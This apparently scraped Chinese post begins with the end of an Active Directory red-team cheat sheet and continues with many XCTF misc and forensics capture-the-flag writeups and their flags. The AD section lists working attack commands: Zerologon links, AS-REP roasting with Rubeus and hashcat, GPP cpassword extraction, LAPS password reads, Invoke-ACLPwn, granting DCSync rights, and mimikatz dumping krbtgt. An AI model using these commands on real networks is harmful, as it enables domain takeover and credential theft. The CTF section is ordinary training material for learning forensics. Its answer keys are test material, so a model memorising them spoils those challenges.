psexec.py rootkit.org/[email protected] -k -no-pass ZerologonMImikatzhttps://github.com/rsmudge/ZeroLogon-BOFhttps://github.com/mstxq17/cve-2020-1472 asreproasting离线爆破域用户密码https://www.anquanke.com/post/id/85374 检查没有设置kerberos预身份验证的用户powerpick Get-DomainUser -PreauthNotRequiredUse with impacket scriptgetNPUsers.py存在的话.利用rubeus自动生成离线hash rubeus.exe asrepoast /user:test /outfile:C:\windows\temp\testhash.txt /format:hashcathashcat 破解 hashcat -m 18200 -a 0 /tmp/testrst.exe wordlist.txt --forceGPP漏洞-MS14-025findstr /S cpassword \\test.org\sysvol\*.xml Net-GPPPassword.exe 一键搞定 make_token user passLAPShttp://drops.xmd5.com/static/drops/tips-10496.html 这玩意是用来定期更换密码的. LAPS(Local Administrator Password Solution,本地管理员密码解决方案)是微软发布的一款用来在LDAP上存储本地管理员密码的工具。只要一切都配置正确,那么该工具使用起来将非常不错。然而,如果你没有正确地设置LDAP属性的权限,那么可能会将本地管理员凭证暴露给域内的所有用户。 Exploting LAPS rev2self powershell-import /opt/Tools/lab10/LAPSToolkit.ps1 powerpick Get-LAPSComputers powerpick Find-LAPSDelegatedGroups make_token IRONBANK\jon.snow PASSWORD powershell-import /opt/Tools/lab10/powerview-dev.ps1 powerpick Get-DomainObject Workstation -Properties ms-mcs-admpwd spawnas .\administrator <password> http C2-FrameWork/Empire/data/module_source/credentials/Get-LAPSPasswords.ps1ADFS利用https://www.slideshare.net/DouglasBienstock/troopers-19-i-am-ad-fs-and-so-can-you 组策略利用GPOhttps://github.com/FSecureLABS/SharpGPOAbuse ACL攻击https://stealthbits.com/blog/attacking-active-directory-permissions-with-bloodhound/ https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/ https://github.com/fox-it/Invoke-ACLPwn usage: .\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -NoDCSync .\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe .\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -userAccountToPwn 'Administrator' .\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -LogToFile .\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -NoSecCleanup .\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'testuser' -Domain 'xenoflux.local' -Password 'Welcome01!'使用第一条标识了-NoDCSync(不会做DCSync的动作,只判断是否能够存在能够DCSync的权限)的命令: 提示Got WriteDACL permissions.如果加上mimikatz.exe一起使用,可以看到直接获取了krbtgt的HASH值,也就是说已经可以直接生成黄金票据了: 自动化工具缺点是面对大型的域,得分析到啥时候 DACL的隐身方式 设置一条拒绝完全控制的ACE Get-DomainObjectAcl -Identity hideuser -domain test.local -ResolveCVE-2019-1040https://mp.weixin.qq.com/s/NEBi8NflfaEDL2qw1WIqZw DCSYNCDCSync需要什么权限 复制目录更改Replicating Directory Changes (DS-Replication-Get-Changes)复制目录更改所有Replicating Directory Changes All (DS-Replication-Get-Changes-All)(Exchange用的就是这个)正在复制筛选集中的目录更改Replicating Directory Changes In Filtered Set (rare, only required in some environments) Add-DomainObjectAcl -TargetIdentity "DC=test,DC=local" -PrincipalIdentity zhangs -Rights DCSync然后使用zhangs进行DCSync,这里可以看到添加前后的变化: .\mimikatz.exe "lsadump::dcsync /user:test\krbtgt" "exit" 来源: https://github.com/RedTeamWing/Hunting-Active-Directory
  25. 一、base16解密题目名称:base64÷4题目附件:https://adworld.xctf.org.cn/media/task/attachments/c8cb2b557b57475d8ec1ed36e819ac4d.txt题目writeup: 1.根据题目名称,猜测是base162.通过在线base16解密可获得:https://www.qqxiuzi.cn/bianma/base.php?type=163.解密脚本:import base64 s='666C61677B45333342374644384133423834314341393639394544444241323442363041417D' flag=base64.b16decode(s) print flag4.最终获得flag:flag{E33B7FD8A3B841CA9699EDDBA24B60AA}二、modbus工业协议流量包分析题目名称:神奇的Modbus题目描述:寻找flag,提交格式为sctf{xxx}附件内容:https://adworld.xctf.org.cn/media/task/attachments/22fc3d84e8434aed89cbc0bbd95a07b4.pcapng 基础知识:Modbus是一种串行通信协议,是Modicon公司(现在的施耐德电气 Schneider Electric)于1979年为使用可编程逻辑控制器(PLC)通信而发表。Modbus已经成为工业领域通信协议的业界标准(De facto),并且现在是工业电子设备之间常用的连接方式题目writeup:1.通过搜索字符串flag关键字,但没有相关搜索2.搜索sctf关键字,却出现sctf格式结果出来:sctf{Easy_Mdbus},提交有错误根据题目名称Modbus关键字,可能附件内容中流量包中缺少一个o提交flag:sctf{Easy_Modbus},则成功提交 三、流量包http协议分析题目名称:wireshark-1题目描述:黑客通过wireshark抓到管理员登陆网站的一段流量包(管理员的密码即是答案)。 flag提交形式为flag{XXXX}附件内容:https://adworld.xctf.org.cn/media/task/attachments/ab8cfea44ced4dd8bd96c7f769ce1309.zip题目writeup:1.用wireshark打开流量包,通过搜索http关键协议,并查找post数据包2.追踪流--http流3.可以看到post提交的数据password关键字后门的内容,也就是答案,答案就是flag4.最终flag为:flag{ffb7567a1d4f4abdffdb54e022f8facd} 四、图片的影写题目名称:pure_color题目描述:格式为flag{xxxxxx}题目附件:https://adworld.xctf.org.cn/media/task/attachments/1457ba9a15f944ae8520e024f72bf7a6.png题目writeup:1.通过notepad查看关键字flag并没有任何内容2.通过题目名称color与颜色有关,关联到有可能是图片影写,通过stegsolve查看图片,按下面的“<”按钮,就得到flag最终flag:flag{true_steganographers_doesnt_need_any_tools} 五、图片隐写之AES双重解密题目名称:Aesop_secret题目附件:https://adworld.xctf.org.cn/media/task/attachments/f732347c6bad47f1ac715cf67a3f4532.zip题目writeup:1.下载附件解压得到一个动态图片gif,然后通过图片影写工具stegsolver查看并没有任何东西2.通过notepad查看,发现最后面有一串加密的字符串,题目名称为aes,那么该字符串则是aes加密的字符串3.通过在线aes解密,猜测密钥可能为:2019_ISCC或者ISCC,通过测试发现密钥为ISCC则可以解密,但是解密出来的还是AES加密字符串在线aes解密网站https://www.sojson.com/encrypt_aes.html4.再次进行第二次解密,则可以获得flag5.最终flagflag{DugUpADiamondADeepDarkMine} 六、图片隐写之LSB的字符反转题目名称:倒立屋题目描述:房屋为什么会倒立!是重力反转了吗?题目附件:https://adworld.xctf.org.cn/media/task/attachments/0ffa808362f34bf8a2d5bf473c1d455a.zip题目writeup:1.下载附件,解压文件,得到一张图片文件,然后通过图片隐写工具stegsolve的Analyse-Extract Preview查看图片的LSB属性。2.发现有关FLAG的相关联的关键字:IsCc_20193.直接提交flag{IsCc_2019}是错误的,根据题目描述,反转关键字,最终flag为:flag{9102_cCsI} 七、坏损图片影写题目名称:something_in_image题目附件:https://adworld.xctf.org.cn/media/task/attachments/b2c46758ac3b41eaa457ff8e64d5d17c.zip题目wirtup:1.下载附件,通过记事本或者 010editor搜索关键字flag,即可发现flag2.最终flag为:Flag{yc4pl0fvjs2k1t7T} 八、图片隐写之翻转题目名称:reverseMe题目附件:https://adworld.xctf.org.cn/media/task/attachments/021b62817d7f439aab5338ea63fe1b4b.jpg题目writeup:1.通过windows10自带的图片查看工具的翻转功能即可查看flag2.最终flag:flag{4f7548f93c7bef1dc6a0542cf04e796e} 九、日历影写题目名称:2017_Dating_in_Singapor题目描述:01081522291516170310172431-050607132027262728-0102030209162330-02091623020310090910172423-02010814222930-0605041118252627-0203040310172431-0102030108152229151617-04050604111825181920-0108152229303124171003-261912052028211407-04051213192625题目附件:https://adworld.xctf.org.cn/media/task/attachments/4f03a908b9bc44e880d9c0371de35366.zip 题目writup:1.下载附件,发现打开一张日历2.根据描述,发现用分割符号"-"进行分割,有12段(数字的特征,最小为01,最大为31,一共十二行,恰对应12个月,每个月最多31天。结合今年(2017)日历),那么每段的数字和日历月份有关联,并且两两数字一组,最终简化如下:01081522291516170310172431-050607132027262728-0102030209162330-02091623020310090910172423-02010814222930-0605041118252627-0203040310172431-0102030108152229151617-04050604111825181920-0108152229303124171003-261912052028211407-040512131926253.按每一行顺序对应每一个月份的情况下,每一个数字对应日期,再按照顺序在日历上连接成线,就是flag了 4.最终flag:HIT8{CTFFUN} 十、流量包隐藏文件之PDF题目名称:simple_transfer题目描述:文件里有flag,找到它题目writeup:1.下载附件,用wireshark打开流量文件,搜索flag关键字,并没有发现任何东西 2.将该流量文件上传到kali系统中,用binwalk命令查看该文件包含哪些文件,发现有pdf文件包含其中binwalk f9809647382a42e5bfb64d7d447b4099_.pcap 3.通过foremost命令分解其包含中的文件,分解出audit.txt和pdf文件夹,进入pdf文件夹中,发现包含了00000662.pdf文件foremost f9809647382a42e5bfb64d7d447b4099_.pcap 4打开pdf文件,里面什么都没有,全黑色背景5.直接CTRL + A 全选,新建一个txt文件,然后CTRL + V 粘贴,最终得到flagHITB{b3d0e380e9c39352c667307d010775ca} 十一、最基础的图片影写题目名称:Training-Stegano-1题目描述:这是我能想到的最基础的图片隐写术题目附件:https://adworld.xctf.org.cn/media/task/attachments/2e5e19744c644912928eddc882f3b0b9.bmp题目writeup:1.下载附件图片,通过记事本查看,有个一个密码为:steganoI,猜测为flag2.提交flag{steganoI},但是不对,再次提交steganoI,发现正确,最终flag为:steganoI十二、BrainFuck语言解密题目名称:can_has_stdio?题目附件:https://adworld.xctf.org.cn/media/task/attachments/eb9acff236eb498b9e4d747fb67f86b9.zip 基础知识:BrainFuck语言是极简的一种图灵完备的语言,由Urban Müller在1993年创造,由八个指令组成(如下表)。工作机制与图灵机非常相似,有一条足够长的纸带,初始时纸带上的每一格都是0,有一个数据读写头指向纸带的初始位置,读写头的行为由指令指示。brainfuck有两种类型:1. < < + - > , [ ]2. 0ok!0ok.0ok?题目writeup:1.下载附件,解压压缩文件,得到一个文件misc50,其中包含以下内容2.看到内容,判断是 brainfuck 代码,,通过在线解密工具进行解密:http://ctf.ssleye.com/brain.html 3.最终flag为:flag{esolangs_for_fun_and_profit} 十三、压缩包爆破题目名称:János-the-Ripper题目附件:https://adworld.xctf.org.cn/media/task/attachments/310085c4315841b1b784b4803ff7e4c1.zip题目wirteup:1.下载附近,解压文件,得到misc100文件,并通过winhex查看,发现是50,4b,03开头,说明是rar压缩文件,其中还有flag.txt文件。2.但是打开.rar文件,提示需要输入密码,且题目名称为János-the-Ripper,该名为著名的密码爆破工具,需要我们对该.RAR文件进行爆破。通过archpr爆破工具对压缩包进行爆破 最终flag:flag{ev3n::y0u::bru7us?!} 十四、影写之十六进制转换题目名称:Test-flag-please-ignore题目附件:https://adworld.xctf.org.cn/media/task/attachments/2f572adcaa5447feb8cc8c50969cd57d.zip题目writeup:1.下载附件,解压附件得到misc100,通过notepad查看文件内容2.发现一串字符串:666c61677b68656c6c6f5f776f726c647d,尝试md5 hash值解密发现无法解密,发现该字符串是0到9以及a到f组成,是十六进制形式3.通过在线十六进制转换成ascii字符https://www.sojson.com/hexadecimal.html 4.最终得到flag为:flag{hello_world} 十五、影写之有规律的字符串题目名称:hit-the-core题目描述:alexctf-2017题目附件:https://adworld.xctf.org.cn/media/task/attachments/2f572adcaa5447feb8cc8c50969cd57d.zip题目writeup:1.下载附件,对其进行解压,发现一个.core文件,该文件为liunx下的崩溃错误生成的文件。通过记事本查看其内容,发现有一些特殊的字符串或者通过kail下的strings命令查看文件中的字符串2.得到可疑的字符串:cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv}3.仔细观察,发现前加粗的大写字母连起来为:ALEXCTF,正好为flag提交的格式开头,且每个字母之间有4个字符相隔,那么括号里面按照规律就可以组合连接起来。 4.最终得到flag :ALEXCTF{K33P_7H3_g00D_w0rk_up} 附录:data = 'cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv}'flag = ''for i in range(3, len(data), 5): flag += data[i] print(flag) 十六、玩游戏获取flag题目名称:快乐游戏题目附件:https://adworld.xctf.org.cn/media/task/attachments/bce2610d3bfa4da8813732deaab7f87f.zip题目writeup:1.下载附件,对其解压,打开.exe文件,游戏要求围住猫即可获取flag2.最终得到flag:UNCTF{c783910550de39816d1de0f103b0ae32} 十七、动态图片分解合并题目名称:glance-50题目附件:https://adworld.xctf.org.cn/media/task/attachments/9266eadf353d4ada94ededaeb96d0c50.gif题目wirteup:1.下载附件,得到一个很长的一条gif动态图片,通过stegsolve和winhex等工具并没有发现flag2.那么这个题大概率就是分离gif的每一帧然后拼接形成图片得到flag方法一:1.使用convert命令对动态图片flag.gif进行分割 convert flag.gif flag.png2.再使用montage命令对分割的图片进行合并montage flag*.png -tile x1 -geometry +0+0 flag.png选项:-tile是拼接时每行和每列的图片数,这里用x1,就是只一行 -geometry是首选每个图和边框尺寸,我们边框为0,图照原始尺寸即可 合成图片为:方法二:1.通过python脚本进行分割gif动态图片import os from PIL import Image def seoaration_gif(gif_file): png_dir = gif_file[:-4] + '/' os.mkdir(png_dir) img = Image.open(gif_file) try: while True: current = img.tell() img.save(png_dir+str(current)+'.png') img.seek(current+1) except: pass if __name__=='__main__': gif_file = 'flag.gif' seoaration_gif(gif_file) 2.再次通过python脚本对分割后的png 静态图片进行合并# coding=utf-8 # Data: 2021/7/7 16:13 # File : hebin.py from PIL import Image path = "C:\\Users\\backlion\\Desktop\\flag\\flag\\" save_path = 'C:\\Users\\backlion\\Desktop\\flag\\' im = Image.new('RGBA', (2 * 201, 600)) # 创建新照片 imagefile = [] # 存储所有的图像的名称 width = 0 for i in range(0, 201): imagefile.append(Image.open(path + str(i) + '.png')) # 遍历,将图像名称存入imagfile for image in imagefile: im.paste(image, (width, 0, 2 + width, 600)) # 将图片张贴到另一张图片上 width = width + 2 im.save(save_path + 'result.png') im.show() 方法三:可直接通过在线动态图片分解工具进行获取https://tu.sioe.cn/gj/fenjie/最终flag:TWCTF{Bliss by Charles 0'Rear} 十八、图片影写之像素取反比较题目名称:a_good_idea题目附件:https://adworld.xctf.org.cn/media/task/attachments/96378111f32f49d09f691870f1268799.rar题目witeup:1.下载附件,对其进行解压,发现一张a_very_good_idea.jpg图片,首先对其进行图片查看,是否含有隐藏文件 2.通过binwalk命令对图片文件进行分析,发现包含有压缩文件,且压缩文件内含有2张图片和一个txt文件binwalk a_very_good_idea.jpg 3.通过foremost命令对a_very_good_idea.jpg 图片文件进行分解foremost a_very_good_idea.jpg 4.打开其中的hint.txt文件,发现有一段字符串,try to find the secret of pixels,表示:试着找到像素的秘密 5.打开File—>Open—>图片,这里先打开a_very_good_idea.jpg图片6.通过analyse-image combiner打开图片to.png 7.利用stegsolve将两张图片进行combine,得到像素相减的图,按左右键转换色道,会跳出二维码8.通过微信扫描二维,最终得到flag:NCTF{m1sc_1s_very_funny!!!} 十九、题目名称:题目附件:题目writeup:1.下载附件,解压,发现一张斑马条形码的图片文件,既然有条形码,这里利用条形码在线阅读得到其内容:https://online-barcode-reader.inliteresearch.com/最终得到flag:flag{TENSHINE} 题目名称:easycap题目描述:你能从截取的数据包中得到flag吗?题目附件:https://adworld.xctf.org.cn/media/task/attachments/d5ba8f87969145059170a222f01e7883.pcap题目writeup:下载附件,并解压附件,用wireshark打开流量包文件,通过追踪流-TCP流,可看到falg信息这里注意提交flag形式,不是flag{}和FLAG{}因此最终flag为:FLAG:385b87afc8671dee07550290d16a8071 题目名称:stage1题目附件:https://adworld.xctf.org.cn/media/task/attachments/3600c13125fe4443aeef3c55b9c1357b.png基础知识:常见的文件头和文件尾:JPEG (jpg),   文件头:FFD8FF                        文件尾:FF D9               PNG (png),    文件头:89504E47                      文件尾:AE 42 60 82GIF (gif),   文件头:47494638                      文件尾:00 3B ZIP Archive (zip), 文件头:504B0304                      文件尾:50 4B TIFF (tif),   文件头:49492A00                      文件尾:Windows Bitmap (bmp),   文件头:424D                         文件尾:CAD (dwg),   文件头:41433130                      文件尾:Adobe Photoshop (psd), 文件头:38425053                      文件尾:Rich Text Format (rtf), 文件头:7B5C727466                     文件尾:XML (xml), 文件头:3C3F786D6C                     文件尾:HTML (html), 文件头:68746D6C3EEmail [thorough only] (eml), 文件头:44656C69766572792D646174653AOutlook Express (dbx), 文件头:CFAD12FEC5FD746FOutlook (pst), 文件头:2142444EMS Word/Excel (xls.or.doc), 文件头:D0CF11E0MS Access (mdb), 文件头:5374616E64617264204AWordPerfect (wpd), 文件头:FF575043Adobe Acrobat (pdf), 文件头:255044462D312EQuicken (qdf), 文件头:AC9EBD8FWindows Password (pwl), 文件头:E3828596 RAR Archive (rar), 文件头:52617221Wave (wav), 文件头:57415645AVI (avi), 文件头:41564920Real Audio (ram), 文件头:2E7261FDReal Media (rm), 文件头:2E524D46MPEG (mpg), 文件头:000001BAMPEG (mpg), 文件头:000001B3Quicktime (mov), 文件头:6D6F6F76Windows Media (asf), 文件头:3026B2758E66CF11MIDI (mid), 文件头:4D546864pyc 文件头:03f30d0a 题目writeup:下载附件,解压得到一张图片,通过图片工具stegsolve打开图片,查看图片通道,可发现二维码通过二维码扫描工具QR Research扫描二维码,可获得一串十六进制的字符将其十六进制字符复制并保存为test1.文件通过winhex工具打开test1.pyc文件,然后对文件进行字符转换,转换文件---十六进制ASCII转换,并确定保存并通过在线pyc反编译对pyc文件进行反编译为python文件https://tool.lu/pyc/通过美化python代码,并稍微修改,得到获得flag的python文件#!/usr/bin/env python # visit https://tool.lu/pyc/ for more information def flag(): str = [65, 108, 112, 104, 97, 76, 97, 98] flag = "" for i in str: flag += chr(i) print flag flag()最终获得flag:AlphaLab 题目名称:Hear-with-your-Eyes题目描述:用眼睛听这段音频题目附件:https://adworld.xctf.org.cn/media/task/attachments/bf87ed29ac5a46d0aa433880dac5e6d8.gz题目writeup:下载附件,通过linux命令tar对其附件.gz文件进行解压,得到一个音频文件soud.wavtar zxvf flag.gz通过音频分析工具audacity进行分析,然后选择步频谱图,可得到falg显示为:flag:e5353bb7b57578bd4da1c898a8e2d767注意提交flag格式,试了几次,最终flag为:e5353bb7b57578bd4da1c898a8e2d767 题目名称:What-is-this题目描述:找到FLAG题目附件:https://adworld.xctf.org.cn/media/task/attachments/e66ea8344f034964ba0b3cb9879996ff.gz题目writeup:方法一:下载附件,并通过linux 命令对其附件.gz进行解压,得到2张图片tar zxvf e66ea8344f034964ba0b3cb9879996ff.gz 既然是2张图片,于是猜测可能是2张图片的合并或者比较。通过隐写图片工具stegsolve工具打开pic1.jpg然后选择image comibiner工具打开另一张图片pic2.png\对2张图片进行合并,合并后可获得flag方法二:得到两张相似的图片,第一反应是两张图片的合并,于是使用kali下的compare命令进行合并,然后得到FLAGcompare pic1.jpg pic2.jpg -compose src flag.jpg最终得到flag:AZADI TOWER 题目名称:red_green题目附件:https://adworld.xctf.org.cn/media/task/attachments/2ec5da20345342909d2336aa7418afed.png题目writeup:方法一:下载附件,并获得一张图片,该图片由绿色和红色构成。分别将红色和绿色视为0和1.下面通过stegsolve图片影写工具的data extract功能进行分析勾选RED的0,然后保存flag.jpg可以获得flag信息:方法二:其中的红色和绿色视为0 和 1,再将最后得到的 01序列 转存为图片,下面为python代码:# coding=utf8 from PIL import Image import bitstring im = Image.open('flag.png') width = im.size[0] height = im.size[1] pim = im.load() # 读取图片的像素信息 bin_result = '' for h in range(height): for w in range(width): if pim[w,h][0] == 255: # 判断是否是红色(R,G,B)[0]表示第一通道 bin_result += '1' else: bin_result += '0' # print bitstring.BitArray(bin=bin_result).bytes.encode('hex') with open('result.jpg','wb') as f: f.write(bitstring.BitArray(bin=bin_result).bytes)最终得到flag:flag{134699ac9d6ac98b} 题目名称:normal_png题目附件:https://adworld.xctf.org.cn/media/task/attachments/7171426a9b4646aba1db92b1fbc083f5.png题目writeup:下载附件,得到一张png图片,通过查看图片隐写,并没有发现可利用的信息。联想到可能图片的高度变小,导致有一部分图片显示不完整。那么这里我们调整图片的高度,这里通过填充数据形式将03,6B,修改为04,6B,并保存图片 最终flag为:flag{B8B68DD7007B1E406F3DF624440D31E0} 题目名称:就在其中题目描述:格式为flag{xxxx}题目附件:https://adworld.xctf.org.cn/media/task/attachments/7cd17d910acf4ac8b563aa5caad18717.zip题目writeup:首先下载附件,解压附件,得到一个Misc-03.pcapng 流量文件。通过binwalk文件查看文件包含的文件,发现包含zip,pdf,jpg等文件,其中zip文件中含有key.txt文件binwalk Misc-03.pcapng 通过foremost命令对其文件进行分离发现分离出来的图片文件没有和flag有关联并且pdf也没有和flag有关联解压出00000047.zip文件,得到一个key.txt文件,并打开该文件,发现是乱码,可能是被加密了。猜测是需要对其解密通过wireshark对Misc-03.pcapng 进行分析,搜索关键字:flag。并没有发现和flag有关的信息 再次搜索关键字key,并发现数据包中含有"PRIVATE key" 通过追踪TCP流,发现是ssh的私钥rsa的key的内容将其内容保存为rsa.key通过openssl命令对其加密的密文key.txt进行加载私钥进行破解,最终获得明文openssl rsautl -decrypt -in key.txt -inkey rsa.key -out flag.txt查看flag.txtcat flag.txt最终获得flag为:flag{haPPy_Use_0penSsI} 题目名称:再见李华题目描述:假如你是李华(LiHua),收到乔帮主一封密信,没有任何特殊字符,请输入密码,不少于1000个字。同学,记得署名哦题目附件:https://adworld.xctf.org.cn/media/task/attachments/7ab3e456b35945a4afed08050cd8859e.zip题目writeup:下载附件,对附件进行解压,发现一张图片,图片上显示不完整的MD5值,并没有可利用点通过binwalk命令对其文件查看包含的内容,发现其中包含了jpeg和zip文件,且zip文件含有key.txt文件使用foremost命令对mail2LiHua.jpg进行分离文件,发现00000037.zip文件可利用对其00000037.zip文件就解压缩发现需要密码。根据题目描述:假如你是李华(LiHua),收到乔帮主一封密信,没有任何特殊字符,请输入密码,不少于 1000 个字。同学,记得署名哦~可以推测出:不少于1000个字,暗含密码为不少于二进制1000的密码位数(转换成十六进制就是至少需要8位以上的密码数)记得署名为李华(LiHua),意思是密码中后面5位数是Lihua使用Advanced ZIP Password Recovery_4.0进行破解。 密码为15CCLiHua以下使用archpr的掩码攻击类型进行破解最终flag:Stay hungry, Stay foolish. 题目名称:embarrass题目附件:https://adworld.xctf.org.cn/media/task/attachments/54dcee33c07745f39f43a094a1b61dcf.zip题目writeup:下载附件,解压附件得到一个流量文件misc_02.pcapng文件使用linux命令strings直接搜索关键字,可得到flagstrings misc_02.pcapng | grep flag或者用wireshark软件打开流量包,直接搜索关键字flag,也可以得到flag最终得到flag:flag{Good_b0y_W3ll_Done} 题目名称:MISCall题目附件:https://adworld.xctf.org.cn/media/task/attachments/d02f31b893164d56b7a8e5edb47d9be5题目writeup:下载附件,通过binwalk命令查看包含文件,可以看到文件的类型为bzip2binwalk flag将flag附件文件重新命名flag.tar.bz2mv flag flag.tar.bz2对flag.tar.bz2进行解压tar -xjvf flag.tar.bz2查看解压文件夹ctf的文件内容,其中包含了flag.txt,和.git文件内容cd ctfls -al通过cat命令查看flag.txt,提交里面的内容,但是错误,并不是flag,那么.git文件有可能和flag有关Nothing to see here, moving along...通过git stash list 命令查看文件修改情况,发现flag.txt和s.py都有被修改过git stash list需要对.git文件进行还原,在还原前需要将已被修改过的flag.txt文件删除,然后使用git stash apply命令进行还原,还原后生成了新的文件s.py和flag.txtrm flag.txt git stash apply再次通过cat命令查看flag.txt内容,发现内容很大一一串,并不是flagcat flag.txt并又通过cat命令查看s.py内容,发现是与flag有关且和flag.txt有关联,可生成flagcat s.py运行s.py脚本,可获得flag内容python s.py最终得到flag:NCN4dd992213ae6b76f27d7340f0dde1222888df4d3 题目名称:Get-the-key.txt题目附件:https://adworld.xctf.org.cn/media/task/attachments/256cb07f5dbd493f81ad5b199f2b248a.zip题目writeup:下载附近,并对附件进行解压,得到解压后的文件forensic100,通过linux file命令查看文件系统属性,发现是一个linux 的ext2系统文件file forensic100通过mount命令对linux系统文件forensic100进行挂载到/opt/flag目录下mkdir /opt/flagmount -o loop forensic100 /tmp/forensic100根据题目名称可知,我们要找key.txt文件,通过gresp -r “key.txt”命令对当前目录下的所有文件进行关键字“key.txt"搜索包含存在的文件,这里可以看到是1文件存在包含flag.txtcd /opt/flaggrep -r 'key.txt‘再次通过file命令查看1的文件属性,发现该文件是gzip文件通过gunzip<1查看文件内容,可获得flaggunzip < 1最终得到falg:SECCON{@]NL7n+-s75FrET]vU=7Z} 题目名称:Reverse-it题目附件:https://adworld.xctf.org.cn/media/task/attachments/0da9641b7aad4efb8f7eb45f47eaebb2题目writeup: 下载附件,解压附件,得到一个flag文件,然后通过winhex查看flag文件,发现末尾是FF 8F FF,这个就是jpg文件格式的头部,只不过是倒叙过来。根据题目名称recerse-it,要还原文件,那就要将文件的内容进行反向。通过xxd对文件进行十六进制查看xxd -p flag通过xxd命令先将二进制内容进行反向,并将反向后的字符以二进制的形式输出,然后发现是一个JPEG图片,此时flag是翻转的。xxd -p flag | tr -d '\n' | rev | xxd -r -p > flagsfiles flags通过convert命令对图片文件进行翻转mv flags flags.jpgconvert -flop flags.jpg flag.jpg 最终得到flag:SECCON{6in_tex7} 题目名称:打野题目描述:菜你了解CTF圈的实时动态么?flag格式qwxf{}题目附件:https://adworld.xctf.org.cn/media/task/attachments/82a98710753740d6b0de1ef17d21c8be.rar基础知识:LSB(英文 least significant bit)即最低有效位。LSB加密是信息隐藏中最基本的方法。通常来说LSB加密用在无损压缩的数据格式文件中,例如图像中的bmp格式和音频的wav格式。对于图像文件LSB的特征很明显,通常将信息隐藏在某一个颜色通道中。题目writeup:下载附件,对附件进行解压得到一张flag.bmp的图片,通过命令strings对qwxf关键字进行搜索,但是没有任何信息,且通过stegsolve也没有发现任何有flag相关的信息通过zsteg对bmp或者png图片进行隐写查看,这里主要查看LSB隐写的信息最终发现flag为:qwxf{you_say_chick_beautiful?} 题目名称:我们的秘密是绿色的题目附件:https://adworld.xctf.org.cn/media/task/attachments/bb9a4b47c82b4a659ce492cd903df03b.zip题目writeup:下载附件,解压附件得到一张flag.jpg图片,图片中尤其比较明显的区域为日历的绿色字体(根据题目名称我们的秘密是绿色,那么密码和绿色字体有关,这是一个处猜想)通过stegsolve查看图片隐写以及搜索关键字flag,并没有发现任何有关的flag,根据题目名称我们的秘密是green,于是想到使用OurSecret这个工具,然后解密还缺一个密码,正好就是上面绿色的部分数字组合,最终测试密码为:0405111218192526可成功解压出压缩包,这里我们将try.zip文件保存。打开压缩包try.zip提示需要输入密码,并查看try.zip的压缩包信息,可以看到提示“你知道coffee的生日多少么”这条信息告诉我们,压缩包密码和生日号码数字有关。通过ziperello 对zip进行爆破,这里的爆破规则为纯数字号码,生日号码密码长度为1到8位。得到密码,解压获得两个文件为flag.zip和readme.txt这里可以看到flag.zip压缩包中含有一个readme.txt以及同目录下也有一个readme.txt,那么很有可能和压缩包明文攻击有关。同时可以看到readme.txt的CRC32校验值为:BA59D790然后我们将通过winrar压缩程序对readme.txt压缩成readme.zip,并查看readme.txt的CRC32校验值也为BA59D790 通过ARCHPR对flag.zip压缩包进行明文攻击,最终得到解压密码为Y29mZmVl通过输入解压密码,得到2个文件分别为flag.zip以及reame.txt打开flag.zip提示需要输入密码 并且,这次的flag.zip里面只有flag.txt通过通过ARCHPR对flag.zip压缩包进行密码爆破,发现爆破失败。通过winhex打开flag.zip压缩包,发现下面有特殊的伪加密方式:第一段50 4B 是压缩源文件数据区的头文件标记,它对应的红色框柱的 00 08 并不影响加密属性。第二段50 4B 是压缩源文件目录区 ,它对应的 01 09 影响加密属性,当数字为奇数是为加密,为偶数时不加密,因此这将01改为00(一般在第二段50 4B ...14 00后面修改为00)这里将01修改为00,保存即可解压出flag.zip。 或者通过zipceno0p.jar对其进行伪加密恢复。java -jar ZipCen0p.jar r flag.zip解压出flag.zip文件后,得到一个flag.txt文件,打开该文件,看到一串字符串:qddpqwnpcplen%prqwn_{_zz*d@gq} 这个很明显了看起来像栅栏加密,下面是CTFcrack工具对其直接解密得到解密:qwlr{ddneq_@dpnwzgpc%nzqqpp_*} 但是并不是flag,看起来像凯撒加密,又再次通过CTFcrack工具对其直接解密最终得到flag:flag{ssctf_@seclover%coffee_*} 题目名称:Become_a_Rockstar题目附件:https://adworld.xctf.org.cn/media/task/attachments/7a7a705cb5874292a47461c7ed0cc0c1.zip题目writeup:下载附件,打开是一段字符串,且看到题目名称为“Rockstar”有可能和flag有关,于是搜索这个关键字,显示是一门摇滚明星编程语言(Rockstar),这里通过下面脚本将其转换成pytho语言https://github.com/yyyyyyyan/rockstar-pypython3 rockstarpy -i Become_a_Rockstar.rock -o flag.py通过执行转换后的python,即可获得flag最终flag为:NCTF{youarnicerockstar} 题目名称:小小的PDF题目附件:https://adworld.xctf.org.cn/media/task/attachments/a4f37ec070974eadab9b96abd5ddffed.pdf题目writeup:下载附件,解压附件得到一张flag.pdf文件,然后通过binwalk对其进行文件包含分析,发现里面包含了一张PDF文件以及3张JPEG文件通过foemost命令对flag.pdf进行分离,得到三张图片和一张PDF文件查看到00000160.jpg文件,发现是flag内容最终flag为:SYC{so_so_easy} 题目名称:Cephalopod题目附件:https://adworld.xctf.org.cn/media/task/attachments/434c8c0ba659476caa9635b97f95600c.pcap题目writeup:方法一:首先下载附件,得到一个流量文件flag.pcap,并搜索关键字flag,可以看到流量文件中包含了一张图片flag.png,可能这种图片与flag有关在kali下使用命令foremost提取不了图片,这里可以使用tcpxtract进行分离流量包中的图片 apt-get install tcpxtract使用tcpxtract -f 进行分解流量包中的图片,可以分解出2张图片tcpxtract -f flag.pcap 